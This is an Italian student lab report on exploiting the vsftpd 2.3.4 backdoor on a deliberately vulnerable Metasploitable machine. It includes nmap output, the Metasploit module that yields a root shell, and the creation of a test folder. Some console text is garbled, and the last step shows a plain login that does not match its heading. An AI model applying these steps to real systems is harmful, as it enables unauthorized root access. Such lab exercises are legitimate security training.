## S7-L1

Nella lezione pratica di oggi vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable. Traccia: Vi chiediamo di andare a exploitare la macchina Metasploitable sfruttando il servizio «vsftpd». Configurare l'indirizzo della vostra macchina Metasploitable come di seguito: 192.168.1.149/24. Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test\_metasploit. Mettere tutto su un report, spiegare cosa si intende per exploit, cos'è il protocollo attaccato, i vari step.

#### controllare con nmap le porte aperte

```
Not shown: 1000 closed tcp ports (conn-refused)
Nmap scan report for 192.168.1.102
Host is up (0.00089s latency).
Not shown: 977 closed tcp ports (conn-refused)
         STATE
                               VERSION
PORT
                  SERVICE
21/tcp
                  ftp
                               vsftpd 2.3.4
         open
22/tcp
                               OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
         open
                  ssh
23/tcp
                  telnet
                               Linux telnetd
         open
25/tcp
                               Postfix smtpd
         open
                  smtp
53/tcp
                               ISC BIND 9.4.2
                  domain
         open
80/tcp
         open
                  http
                               Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open
                               2 (RPC #100000)
                  rpcbind
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
512/tcp open
                               netkit-rsh rexecd
                  exec
513/tcp open
                  login?
514/tcp open
                  shell
                               Netkit rshd
1099/tcp open
                  iava-rmi
                               GNU Classpath grmiregistry
1524/tcp filtered ingreslock
2049/tcp open
                               2-4 (RPC #100003)
                  nfs
2121/tcp open
                  ftp
                               ProFTPD 1.3.1
3306/tcp open
                               MySOL 5.0.51a-3ubuntu5
                  mvsal
5432/tcp open
                  postgresql
                               PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open
                               VNC (protocol 3.3)
                  vnc
6000/tcp open
                               (access denied)
                  X11
6667/tcp open
                               UnrealIRCd
                  irc
8009/tcp open
                  aip13
                               Apache Jserv (Protocol v1.3)
                               Apache Tomcat/Coyote JSP engine 1.1
8180/tcp open
                  http
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs
: Unix, Linux; CPE: cpe:/o:linux:linux kernel
```

#### Apertura msfconsole

```
kali@kali: ~
File Actions Edit View Help
    --=[ 1388 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
msf6 > exploit(unix/ftp/vsftpd 234 backdoor) > exploit
    Unknown command: exploit(unix/ftp/vsftpd 234 backdoor)
msf6 > exploit
   Unknown command: exploit
msf6 > search
Usage: search [<options>] [<keywords>:<value>]
Prepending a value with '-' will exclude any matching results.
If no options or keywords are provided, cached results are displayed.
OPTIONS:
    -h, --help
                                    Help banner
    -I, --ignore
                                    Ignore the command if the only match has
the same name as the search
    -o, --output <filename>
                                    Send output to a file in csv format
    -r, --sort-descending <column>
                                    Reverse the order of search results to de
scending order
    -S, --filter <filter>
                                    Regex pattern used to filter search resul
    -s, --sort-ascending <column>
                                    Sort search results by the specified colu
mn in ascending order
    -u, --use
                                    Use module if there is one result
```

### impostare msfconsole in modo da eseguire I exploit

```
Exploit target:
   Id Name
       Automatic
View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.102:21 - USER: 331 Please specify the password.
[+] 192.168.1.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:35289 → 192.168.1.102:6200) at 2024-01-15 10:
18:50 +0100
ifconfig
eth0
          Link encap:Ethernet HWaddr 08:00:27:d5:0b:c4
          inet addr:192.168.1.102 Bcast:192.168.1.255 Mask:255.255.25.0
          inet6 addr: fe80::a00:27ff:fed5:bc4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:2247 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1467 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:167354 (163.4 KB) TX bytes:119035 (116.2 KB)
          Base address:0×d020 Memory:f0200000-f0220000
```

# attraverso msfconsole abbiamo inserito il file nella directory root

```
metasploitable login: msfadmin
Password:
Last login: Fri Jan 12 03:40:29 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ cd ...
msfadmin@metasploitable:/home$ cd ...
msfadmin@metasploitable:/$ cd /
msfadmin@metasploitable:/$ ls
bin
      deu
             initrd
                         lost+found
                                     nohup.out root
                                                      SUS
                                                                        usr
             initrd.img media
                                     opt
                                                sbin
                                                      test metasploit
boot
      etc
                                                                        var
            lib
     home
                         mnt
                                                       tmp
                                                                        umlinuz
                                     proc
                                                 Sru
msfadmin@metasploitable:/$
```